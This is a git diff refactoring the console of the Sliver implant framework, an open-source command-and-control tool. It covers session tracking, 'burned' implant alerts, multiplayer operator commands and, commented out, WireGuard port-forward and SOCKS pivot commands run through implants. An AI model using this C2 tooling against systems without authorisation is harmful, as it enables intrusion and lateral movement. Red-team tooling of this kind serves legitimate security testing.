warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . +// */ + +// import ( +// "bytes" +// "context" +// "fmt" +// "net" +// "strings" +// "text/tabwriter" + +// "github.com/bishopfox/sliver/protobuf/rpcpb" +// "github.com/bishopfox/sliver/protobuf/sliverpb" +// "github.com/desertbit/grumble" +// ) + +// func wgPortFwdAddCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.GetInteractive() +// if session == nil { +// return +// } +// if session.Transport != "wg" { +// fmt.Println(Warn + "This command is only supported for WireGuard implants") +// return +// } + +// localPort := ctx.Flags.Int("bind") +// remoteAddr := ctx.Flags.String("remote") +// if remoteAddr == "" { +// fmt.Println(Warn + "Must specify a remote target host:port") +// return +// } +// remoteHost, remotePort, err := net.SplitHostPort(remoteAddr) +// if err != nil { +// fmt.Print(Warn+"Failed to parse remote target %s\n", err) +// return +// } + +// pfwdAdd, err := rpc.WGStartPortForward(context.Background(), &sliverpb.WGPortForwardStartReq{ +// LocalPort: int32(localPort), +// RemoteAddress: remoteAddr, +// Request: ActiveSession.Request(ctx), +// }) + +// if err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } + +// if pfwdAdd.Response != nil && pfwdAdd.Response.Err != "" { +// fmt.Printf(Warn+"Error: %s\n", pfwdAdd.Response.Err) +// return +// } +// fmt.Printf(Info+"Port forwarding %s -> %s:%s\n", pfwdAdd.Forwarder.LocalAddr, remoteHost, remotePort) +// } + +// func wgPortFwdListCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.GetInteractive() +// if session == nil { +// return +// } +// if session.Transport != "wg" { +// fmt.Println(Warn + "This command is only supported for WireGuard implants") +// return +// } + +// fwdList, err := rpc.WGListForwarders(context.Background(), &sliverpb.WGTCPForwardersReq{ +// Request: ActiveSession.Request(ctx), +// }) + +// if err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } + +// if fwdList.Response != nil && fwdList.Response.Err != "" { +// fmt.Printf(Warn+"Error: %s\n", fwdList.Response.Err) +// return +// } + +// if fwdList.Forwarders != nil { +// if len(fwdList.Forwarders) == 0 { +// fmt.Printf(Info + "No port forwards\n") +// } else { +// outBuf := bytes.NewBufferString("") +// table := tabwriter.NewWriter(outBuf, 0, 3, 3, ' ', 0) +// fmt.Fprintf(table, "ID\tLocal Address\tRemote Address\t\n") +// fmt.Fprintf(table, "%s\t%s\t%s\t\n", +// strings.Repeat("=", len("ID")), +// strings.Repeat("=", len("Local Address")), +// strings.Repeat("=", len("Remote Address"))) +// for _, fwd := range fwdList.Forwarders { +// fmt.Fprintf(table, "%d\t%s\t%s\t\n", fwd.ID, fwd.LocalAddr, fwd.RemoteAddr) +// } +// table.Flush() +// fmt.Println(outBuf.String()) +// } +// } +// } + +// func wgPortFwdRmCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.GetInteractive() +// if session == nil { +// return +// } +// if session.Transport != "wg" { +// fmt.Println(Warn + "This command is only supported for WireGuard implants") +// return +// } + +// fwdID := ctx.Args.Int("id") +// stopReq, err := rpc.WGStopPortForward(context.Background(), &sliverpb.WGPortForwardStopReq{ +// ID: int32(fwdID), +// Request: ActiveSession.Request(ctx), +// }) + +// if err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } + +// if stopReq.Response != nil && stopReq.Response.Err != "" { +// fmt.Printf(Warn+"Error: %v\n", stopReq.Response.Err) +// return +// } + +// if stopReq.Forwarder != nil { +// fmt.Printf(Info+"Removed port forwarding rule %s -> %s\n", stopReq.Forwarder.LocalAddr, stopReq.Forwarder.RemoteAddr) +// } +// } + +// func wgSocksStartCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.Get() +// if session == nil { +// return +// } + +// if session.Transport != "wg" { +// fmt.Println(Warn + "This command is only supported for Wireguard implants") +// return +// } + +// bindPort := ctx.Flags.Int("bind") + +// socks, err := rpc.WGStartSocks(context.Background(), &sliverpb.WGSocksStartReq{ +// Port: int32(bindPort), +// Request: ActiveSession.Request(ctx), +// }) + +// if err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } + +// if socks.Response != nil && socks.Response.Err != "" { +// fmt.Printf(Warn+"Error: %s\n", err) +// return +// } + +// if socks.Server != nil { +// fmt.Printf(Info+"Started SOCKS server on %s\n", socks.Server.LocalAddr) +// } +// } + +// func wgSocksListCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.GetInteractive() +// if session == nil { +// return +// } +// if session.Transport != "wg" { +// fmt.Println(Warn + "This command is only supported for WireGuard implants") +// return +// } + +// socksList, err := rpc.WGListSocksServers(context.Background(), &sliverpb.WGSocksServersReq{ +// Request: ActiveSession.Request(ctx), +// }) + +// if err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } + +// if socksList.Response != nil && socksList.Response.Err != "" { +// fmt.Printf(Warn+"Error: %s\n", socksList.Response.Err) +// return +// } + +// if socksList.Servers != nil { +// if len(socksList.Servers) > 0 { +// outBuf := bytes.NewBufferString("") +// table := tabwriter.NewWriter(outBuf, 0, 3, 3, ' ', 0) +// fmt.Fprintf(table, "ID\tLocal Address\n") +// fmt.Fprintf(table, "%s\t%s\t\n", +// strings.Repeat("=", len("ID")), +// strings.Repeat("=", len("Local Address"))) +// for _, server := range socksList.Servers { +// fmt.Fprintf(table, "%d\t%s\t\n", server.ID, server.LocalAddr) +// } +// table.Flush() +// fmt.Println(outBuf.String()) +// } +// } + +// } + +// func wgSocksRmCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.Get() +// if session == nil { +// return +// } +// if session.Transport != "wg" { +// fmt.Println(Warn + "This command is only supported for WireGuard implants") +// return +// } + +// socksID := ctx.Args.Int("id") + +// stopReq, err := rpc.WGStopSocks(context.Background(), &sliverpb.WGSocksStopReq{ +// ID: int32(socksID), +// Request: ActiveSession.Request(ctx), +// }) + +// if err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } + +// if stopReq.Response != nil && stopReq.Response.Err != "" { +// fmt.Printf(Warn+"Error: %v\n", stopReq.Response.Err) +// return +// } + +// if stopReq.Server != nil { +// fmt.Printf(Info+"Removed socks listener rule %s \n", stopReq.Server.LocalAddr) +// } +// } diff --git a/client/console/console-client.go b/client/console/console-client.go deleted file mode 100644 index 6f591a50db..0000000000 --- a/client/console/console-client.go +++ /dev/null @@ -1,51 +0,0 @@ -package console - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "fmt" - - "github.com/bishopfox/sliver/client/assets" - "github.com/bishopfox/sliver/client/transport" - "github.com/bishopfox/sliver/protobuf/rpcpb" - - "github.com/desertbit/grumble" -) - -// StartClientConsole - Start the client console -func StartClientConsole() error { - configs := assets.GetConfigs() - if len(configs) == 0 { - fmt.Printf(Warn+"No config files found at %s or -import\n", assets.GetConfigDir()) - return nil - } - config := selectConfig() - if config == nil { - return nil - } - - fmt.Printf(Info+"Connecting to %s:%d ...\n", config.LHost, config.LPort) - rpc, ln, err := transport.MTLSConnect(config) - if err != nil { - fmt.Printf(Warn+"Connection to server failed %v", err) - return nil - } - defer ln.Close() - return Start(rpc, func(*grumble.App, rpcpb.SliverRPCClient) {}, false) -} diff --git a/client/console/console.go b/client/console/console.go index ad0a385372..e3707c87ea 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -29,13 +29,13 @@ import ( "path" "github.com/bishopfox/sliver/client/assets" - cmd "github.com/bishopfox/sliver/client/command" consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/client/version" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/rpcpb" + "gopkg.in/AlecAivazis/survey.v1" "time" @@ -45,69 +45,92 @@ import ( const ( // ANSI Colors - normal = "\033[0m" - black = "\033[30m" - red = "\033[31m" - green = "\033[32m" - orange = "\033[33m" - blue = "\033[34m" - purple = "\033[35m" - cyan = "\033[36m" - gray = "\033[37m" - bold = "\033[1m" - clearln = "\r\x1b[2K" - upN = "\033[%dA" - downN = "\033[%dB" - underline = "\033[4m" + Normal = "\033[0m" + Black = "\033[30m" + Red = "\033[31m" + Green = "\033[32m" + Orange = "\033[33m" + Blue = "\033[34m" + Purple = "\033[35m" + Cyan = "\033[36m" + Gray = "\033[37m" + Bold = "\033[1m" + Clearln = "\r\x1b[2K" + UpN = "\033[%dA" + DownN = "\033[%dB" + Underline = "\033[4m" // Info - Display colorful information - Info = bold + cyan + "[*] " + normal + Info = Bold + Cyan + "[*] " + Normal // Warn - Warn a user - Warn = bold + red + "[!] " + normal + Warn = Bold + Red + "[!] " + Normal // Debug - Display debug information - Debug = bold + purple + "[-] " + normal + Debug = Bold + Purple + "[-] " + Normal // Woot - Display success - Woot = bold + green + "[$] " + normal + Woot = Bold + Green + "[$] " + Normal ) -// ExtraCmds - Bind extra commands to the app object -type ExtraCmds func(*grumble.App, rpcpb.SliverRPCClient) +// Observer - A function to call when the sessions changes +type Observer func(*clientpb.Session) + +type activeSession struct { + session *clientpb.Session + observers map[int]Observer + observerID int +} + +type SliverConsoleClient struct { + App *grumble.App + Rpc rpcpb.SliverRPCClient + ActiveSession *activeSession + IsServer bool +} + +// BindCmds - Bind extra commands to the app object +type BindCmds func(console *SliverConsoleClient) // Start - Console entrypoint -func Start(rpc rpcpb.SliverRPCClient, extraCmds ExtraCmds, isServer bool) error { - app := grumble.New(&grumble.Config{ - Name: "Sliver", - Description: "Sliver Client", - HistoryFile: path.Join(assets.GetRootAppDir(), "history"), - Prompt: getPrompt(isServer), - PromptColor: color.New(), - HelpHeadlineColor: color.New(), - HelpHeadlineUnderline: true, - HelpSubCommands: true, - }) - app.SetPrintASCIILogo(func(app *grumble.App) { - printLogo(app, rpc) +func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isServer bool) error { + + con := &SliverConsoleClient{ + App: grumble.New(&grumble.Config{ + Name: "Sliver", + Description: "Sliver Client", + HistoryFile: path.Join(assets.GetRootAppDir(), "history"), + PromptColor: color.New(), + HelpHeadlineColor: color.New(), + HelpHeadlineUnderline: true, + HelpSubCommands: true, + }), + Rpc: rpc, + ActiveSession: &activeSession{ + observers: map[int]Observer{}, + observerID: 0, + }, + } + con.App.SetPrintASCIILogo(func(_ *grumble.App) { + con.PrintLogo() }) + con.App.SetPrompt(con.GetPrompt()) + bindCmds(con) + extraCmds(con) - cmd.BindCommands(app, rpc) - extraCmds(app, rpc) - - cmd.ActiveSession.AddObserver(func(_ *clientpb.Session) { - app.SetPrompt(getPrompt(isServer)) + con.ActiveSession.AddObserver(func(_ *clientpb.Session) { + con.App.SetPrompt(con.GetPrompt()) }) - go eventLoop(app, rpc, isServer) + go con.EventLoop() go core.TunnelLoop(rpc) - err := app.Run() + err := con.App.Run() if err != nil { log.Printf("Run loop returned error: %v", err) } return err } -func eventLoop(app *grumble.App, rpc rpcpb.SliverRPCClient, isServer bool) { - eventStream, err := rpc.Events(context.Background(), &commonpb.Empty{}) +func (con *SliverConsoleClient) EventLoop() { + eventStream, err := con.Rpc.Events(context.Background(), &commonpb.Empty{}) if err != nil { fmt.Printf(Warn+"%s\n", err) return @@ -124,30 +147,30 @@ func eventLoop(app *grumble.App, rpc rpcpb.SliverRPCClient, isServer bool) { switch event.EventType { case consts.CanaryEvent: - fmt.Printf(clearln+Warn+bold+"WARNING: %s%s has been burned (DNS Canary)\n", normal, event.Session.Name) - sessions := cmd.GetSessionsByName(event.Session.Name, rpc) + con.Printf(Clearln+Warn+Bold+"WARNING: %s%s has been burned (DNS Canary)\n", Normal, event.Session.Name) + sessions := con.GetSessionsByName(event.Session.Name, con.Rpc) for _, session := range sessions { - fmt.Printf(clearln+"\tšŸ”„ Session #%d is affected\n", session.ID) + con.Printf(Clearln+"\tšŸ”„ Session #%d is affected\n", session.ID) } fmt.Println() case consts.WatchtowerEvent: msg := string(event.Data) - fmt.Printf(clearln+Warn+bold+"WARNING: %s%s has been burned (seen on %s)\n", normal, event.Session.Name, msg) - sessions := cmd.GetSessionsByName(event.Session.Name, rpc) + fmt.Printf(Clearln+Warn+Bold+"WARNING: %s%s has been burned (seen on %s)\n", Normal, event.Session.Name, msg) + sessions := con.GetSessionsByName(event.Session.Name, con.Rpc) for _, session := range sessions { - fmt.Printf(clearln+"\tšŸ”„ Session #%d is affected\n", session.ID) + con.PrintWarnf("\tšŸ”„ Session #%d is affected\n", session.ID) } fmt.Println() case consts.JoinedEvent: - fmt.Printf(clearln+Info+"%s has joined the game\n\n", event.Client.Operator.Name) + con.PrintInfof("%s has joined the game\n\n", event.Client.Operator.Name) case consts.LeftEvent: - fmt.Printf(clearln+Info+"%s left the game\n\n", event.Client.Operator.Name) + con.PrintInfof("%s left the game\n\n", event.Client.Operator.Name) case consts.JobStoppedEvent: job := event.Job - fmt.Printf(clearln+Warn+"Job #%d stopped (%s/%s)\n\n", job.ID, job.Protocol, job.Name) + con.PrintWarnf("Job #%d stopped (%s/%s)\n\n", job.ID, job.Protocol, job.Name) case consts.SessionOpenedEvent: session := event.Session @@ -157,53 +180,53 @@ func eventLoop(app *grumble.App, rpc rpcpb.SliverRPCClient, isServer bool) { // This check is here to avoid displaying two sessions events for the same session if session.OS != "" { currentTime := time.Now().Format(time.RFC1123) - fmt.Printf(clearln+Info+"Session #%d %s - %s (%s) - %s/%s - %v\n\n", + con.PrintInfof("Session #%d %s - %s (%s) - %s/%s - %v\n\n", session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime) } case consts.SessionUpdateEvent: session := event.Session currentTime := time.Now().Format(time.RFC1123) - fmt.Printf(clearln+Info+"Session #%d has been updated - %v\n", session.ID, currentTime) + fmt.Printf(Clearln+Info+"Session #%d has been updated - %v\n", session.ID, currentTime) case consts.SessionClosedEvent: session := event.Session - fmt.Printf(clearln+Warn+"Lost session #%d %s - %s (%s) - %s/%s\n", + fmt.Printf(Clearln+Warn+"Lost session #%d %s - %s (%s) - %s/%s\n", session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch) - activeSession := cmd.ActiveSession.Get() + activeSession := con.ActiveSession.Get() if activeSession != nil && activeSession.ID == session.ID { - cmd.ActiveSession.Set(nil) - app.SetPrompt(getPrompt(isServer)) + con.ActiveSession.Set(nil) + con.App.SetPrompt(con.GetPrompt()) fmt.Printf(Warn + " Active session disconnected\n") } fmt.Println() } - fmt.Printf(getPrompt(isServer)) + fmt.Printf(con.GetPrompt()) stdout.Flush() } } -func getPrompt(isServer bool) string { - prompt := underline + "sliver" + normal - if isServer { - prompt = bold + "[server] " + normal + underline + "sliver" + normal +func (con *SliverConsoleClient) GetPrompt() string { + prompt := Underline + "sliver" + Normal + if con.IsServer { + prompt = Bold + "[server] " + Normal + Underline + "sliver" + Normal } - if cmd.ActiveSession.Get() != nil { - prompt += fmt.Sprintf(bold+red+" (%s)%s", cmd.ActiveSession.Get().Name, normal) + if con.ActiveSession.Get() != nil { + prompt += fmt.Sprintf(Bold+Red+" (%s)%s", con.ActiveSession.Get().Name, Normal) } prompt += " > " return prompt } -func printLogo(sliverApp *grumble.App, rpc rpcpb.SliverRPCClient) { - serverVer, err := rpc.GetVersion(context.Background(), &commonpb.Empty{}) +func (con *SliverConsoleClient) PrintLogo() { + serverVer, err := con.Rpc.GetVersion(context.Background(), &commonpb.Empty{}) if err != nil { panic(err.Error()) } dirty := "" if serverVer.Dirty { - dirty = fmt.Sprintf(" - %sDirty%s", bold, normal) + dirty = fmt.Sprintf(" - %sDirty%s", Bold, Normal) } serverSemVer := fmt.Sprintf("%d.%d.%d", serverVer.Major, serverVer.Minor, serverVer.Patch) @@ -220,24 +243,144 @@ func printLogo(sliverApp *grumble.App, rpc rpcpb.SliverRPCClient) { if serverVer.Major != int32(version.SemanticVersion()[0]) { fmt.Printf(Warn + "Warning: Client and server may be running incompatible versions.\n") } - checkLastUpdate() + con.CheckLastUpdate() +} + +func (con *SliverConsoleClient) CheckLastUpdate() { + // now := time.Now() + // lastUpdate := GetLastUpdateCheck() + // compiledAt, err := version.Compiled() + // if err != nil { + // log.Printf("Failed to parse compiled at timestamp %s", err) + // return + // } + + // day := 24 * time.Hour + // if compiledAt.Add(30 * day).Before(now) { + // if lastUpdate == nil || lastUpdate.Add(30*day).Before(now) { + // fmt.Printf(Info + "Check for updates with the 'update' command\n\n") + // } + // } } -func checkLastUpdate() { - now := time.Now() - lastUpdate := cmd.GetLastUpdateCheck() - compiledAt, err := version.Compiled() +// GetSession - Get session by session ID or name +func (con *SliverConsoleClient) GetSession(arg string, rpc rpcpb.SliverRPCClient) *clientpb.Session { + sessions, err := rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err != nil { - log.Printf("Failed to parse compiled at timestamp %s", err) - return + fmt.Printf(Warn+"%s\n", err) + return nil + } + for _, session := range sessions.GetSessions() { + if session.Name == arg || fmt.Sprintf("%d", session.ID) == arg { + return session + } } + return nil +} - day := 24 * time.Hour - if compiledAt.Add(30 * day).Before(now) { - if lastUpdate == nil || lastUpdate.Add(30*day).Before(now) { - fmt.Printf(Info + "Check for updates with the 'update' command\n\n") +// GetSessionsByName - Return all sessions for an Implant by name +func (con *SliverConsoleClient) GetSessionsByName(name string, rpc rpcpb.SliverRPCClient) []*clientpb.Session { + sessions, err := rpc.GetSessions(context.Background(), &commonpb.Empty{}) + if err != nil { + fmt.Printf(Warn+"%s\n", err) + return nil + } + matched := []*clientpb.Session{} + for _, session := range sessions.GetSessions() { + if session.Name == name { + matched = append(matched, session) } } + return matched +} + +// This should be called for any dangerous (OPSEC-wise) functions +func (con *SliverConsoleClient) IsUserAnAdult() bool { + confirm := false + prompt := &survey.Confirm{Message: "This action is bad OPSEC, are you an adult?"} + survey.AskOne(prompt, &confirm, nil) + return confirm +} + +func (con *SliverConsoleClient) Printf(format string, args ...interface{}) (n int, err error) { + return fmt.Fprintf(con.App.Stdout(), format, args...) +} + +func (con *SliverConsoleClient) Println(args ...interface{}) (n int, err error) { + return fmt.Fprintln(con.App.Stdout(), args...) +} + +func (con *SliverConsoleClient) PrintInfof(format string, args ...interface{}) (n int, err error) { + return fmt.Fprintf(con.App.Stdout(), Clearln+Info+format, args...) +} + +func (con *SliverConsoleClient) PrintWarnf(format string, args ...interface{}) (n int, err error) { + return fmt.Fprintf(con.App.Stdout(), Clearln+Warn+format, args...) +} + +func (con *SliverConsoleClient) PrintErrorf(format string, args ...interface{}) (n int, err error) { + return fmt.Fprintf(con.App.Stderr(), Clearln+Warn+format, args...) +} + +// +// -------------------------- [ Active Session ] -------------------------- +// + +// GetInteractive - GetInteractive the active session +func (s *activeSession) GetInteractive() *clientpb.Session { + if s.session == nil { + fmt.Printf(Warn + "Please select an active session via `use`\n") + return nil + } + return s.session +} + +// Get - Same as Get() but doesn't print a warning +func (s *activeSession) Get() *clientpb.Session { + if s.session == nil { + return nil + } + return s.session +} + +// AddObserver - Observers to notify when the active session changes +func (s *activeSession) AddObserver(observer Observer) int { + s.observerID++ + s.observers[s.observerID] = observer + return s.observerID +} + +func (s *activeSession) RemoveObserver(observerID int) { + if _, ok := s.observers[observerID]; ok { + delete(s.observers, observerID) + } +} + +func (s *activeSession) Request(ctx *grumble.Context) *commonpb.Request { + if s.session == nil { + return nil + } + timeout := int(time.Second) * ctx.Flags.Int("timeout") + return &commonpb.Request{ + SessionID: s.session.ID, + Timeout: int64(timeout), + } +} + +// Set - Change the active session +func (s *activeSession) Set(session *clientpb.Session) { + s.session = session + for _, observer := range s.observers { + observer(s.session) + } +} + +// Background - Background the active session +func (s *activeSession) Background() { + s.session = nil + for _, observer := range s.observers { + observer(nil) + } } var abilities = []string{ @@ -276,7 +419,7 @@ var abilities = []string{ } var asciiLogos = []string{ - red + ` + Red + ` ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆ ā–ˆā–ˆā–“ ā–ˆā–ˆā–“ ā–ˆā–ˆā–’ ā–ˆā–“ā–“ā–ˆā–ˆā–ˆā–ˆā–ˆ ā–ˆā–ˆā–€ā–ˆā–ˆā–ˆ ā–’ā–ˆā–ˆ ā–’ ā–“ā–ˆā–ˆā–’ ā–“ā–ˆā–ˆā–’ā–“ā–ˆā–ˆā–‘ ā–ˆā–’ā–“ā–ˆ ā–€ ā–“ā–ˆā–ˆ ā–’ ā–ˆā–ˆā–’ ā–‘ ā–“ā–ˆā–ˆā–„ ā–’ā–ˆā–ˆā–‘ ā–’ā–ˆā–ˆā–’ ā–“ā–ˆā–ˆ ā–ˆā–’ā–‘ā–’ā–ˆā–ˆā–ˆ ā–“ā–ˆā–ˆ ā–‘ā–„ā–ˆ ā–’ @@ -286,23 +429,23 @@ var asciiLogos = []string{ ā–‘ ā–‘ā–’ ā–‘ ā–‘ā–‘ ā–‘ ā–’ ā–‘ ā–’ ā–‘ ā–‘ ā–‘ā–‘ ā–‘ ā–‘ ā–‘ ā–‘ā–’ ā–‘ ā–’ā–‘ ā–‘ ā–‘ ā–‘ ā–‘ ā–‘ ā–’ ā–‘ ā–‘ā–‘ ā–‘ ā–‘ā–‘ ā–‘ ā–‘ ā–‘ ā–‘ ā–‘ ā–‘ ā–‘ ā–‘ ā–‘ -` + normal, +` + Normal, - green + ` + Green + ` ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•—ā–ˆā–ˆā•— ā–ˆā–ˆā•—ā–ˆā–ˆā•— ā–ˆā–ˆā•—ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•—ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•— ā–ˆā–ˆā•”ā•ā•ā•ā•ā•ā–ˆā–ˆā•‘ ā–ˆā–ˆā•‘ā–ˆā–ˆā•‘ ā–ˆā–ˆā•‘ā–ˆā–ˆā•”ā•ā•ā•ā•ā•ā–ˆā–ˆā•”ā•ā•ā–ˆā–ˆā•— ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•—ā–ˆā–ˆā•‘ ā–ˆā–ˆā•‘ā–ˆā–ˆā•‘ ā–ˆā–ˆā•‘ā–ˆā–ˆā–ˆā–ˆā–ˆā•— ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•”ā• ā•šā•ā•ā•ā•ā–ˆā–ˆā•‘ā–ˆā–ˆā•‘ ā–ˆā–ˆā•‘ā•šā–ˆā–ˆā•— ā–ˆā–ˆā•”ā•ā–ˆā–ˆā•”ā•ā•ā• ā–ˆā–ˆā•”ā•ā•ā–ˆā–ˆā•— ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•‘ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•—ā–ˆā–ˆā•‘ ā•šā–ˆā–ˆā–ˆā–ˆā•”ā• ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•—ā–ˆā–ˆā•‘ ā–ˆā–ˆā•‘ ā•šā•ā•ā•ā•ā•ā•ā•ā•šā•ā•ā•ā•ā•ā•ā•ā•šā•ā• ā•šā•ā•ā•ā• ā•šā•ā•ā•ā•ā•ā•ā•ā•šā•ā• ā•šā•ā• -` + normal, +` + Normal, - bold + gray + ` + Bold + Gray + ` .------..------..------..------..------..------. |S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. | | :/\: || :/\: || (\/) || :(): || (\/) || :(): | | :\/: || (__) || :\/: || ()() || :\/: || ()() | | '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R| ` + "`------'`------'`------'`------'`------'`------'" + ` -` + normal, +` + Normal, } diff --git a/server/console/console.go b/server/console/console.go index 6ae4950cb8..5916623d3a 100644 --- a/server/console/console.go +++ b/server/console/console.go @@ -25,6 +25,7 @@ import ( "github.com/desertbit/grumble" + "github.com/bishopfox/sliver/client/command" clientconsole "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/client/help" @@ -53,15 +54,15 @@ func Start() { } defer conn.Close() localRPC := rpcpb.NewSliverRPCClient(conn) - clientconsole.Start(localRPC, serverOnlyCmds, true) + clientconsole.Start(localRPC, command.BindCommands, serverOnlyCmds, true) } // ServerOnlyCmds - Server only commands -func serverOnlyCmds(app *grumble.App, _ rpcpb.SliverRPCClient) { +func serverOnlyCmds(console *clientconsole.SliverConsoleClient) { // [ Multiplayer ] ----------------------------------------------------------------- - app.AddCommand(&grumble.Command{ + console.App.AddCommand(&grumble.Command{ Name: consts.MultiplayerModeStr, Help: "Enable multiplayer mode", LongHelp: help.GetHelpFor([]string{consts.MultiplayerModeStr}), @@ -78,7 +79,7 @@ func serverOnlyCmds(app *grumble.App, _ rpcpb.SliverRPCClient) { HelpGroup: consts.MultiplayerHelpGroup, }) - app.AddCommand(&grumble.Command{ + console.App.AddCommand(&grumble.Command{ Name: consts.NewPlayerStr, Help: "Create a new player config file", LongHelp: help.GetHelpFor([]string{consts.NewPlayerStr}), @@ -97,7 +98,7 @@ func serverOnlyCmds(app *grumble.App, _ rpcpb.SliverRPCClient) { HelpGroup: consts.MultiplayerHelpGroup, }) - app.AddCommand(&grumble.Command{ + console.App.AddCommand(&grumble.Command{ Name: consts.KickPlayerStr, Help: "Kick a player from the server", LongHelp: help.GetHelpFor([]string{consts.KickPlayerStr}),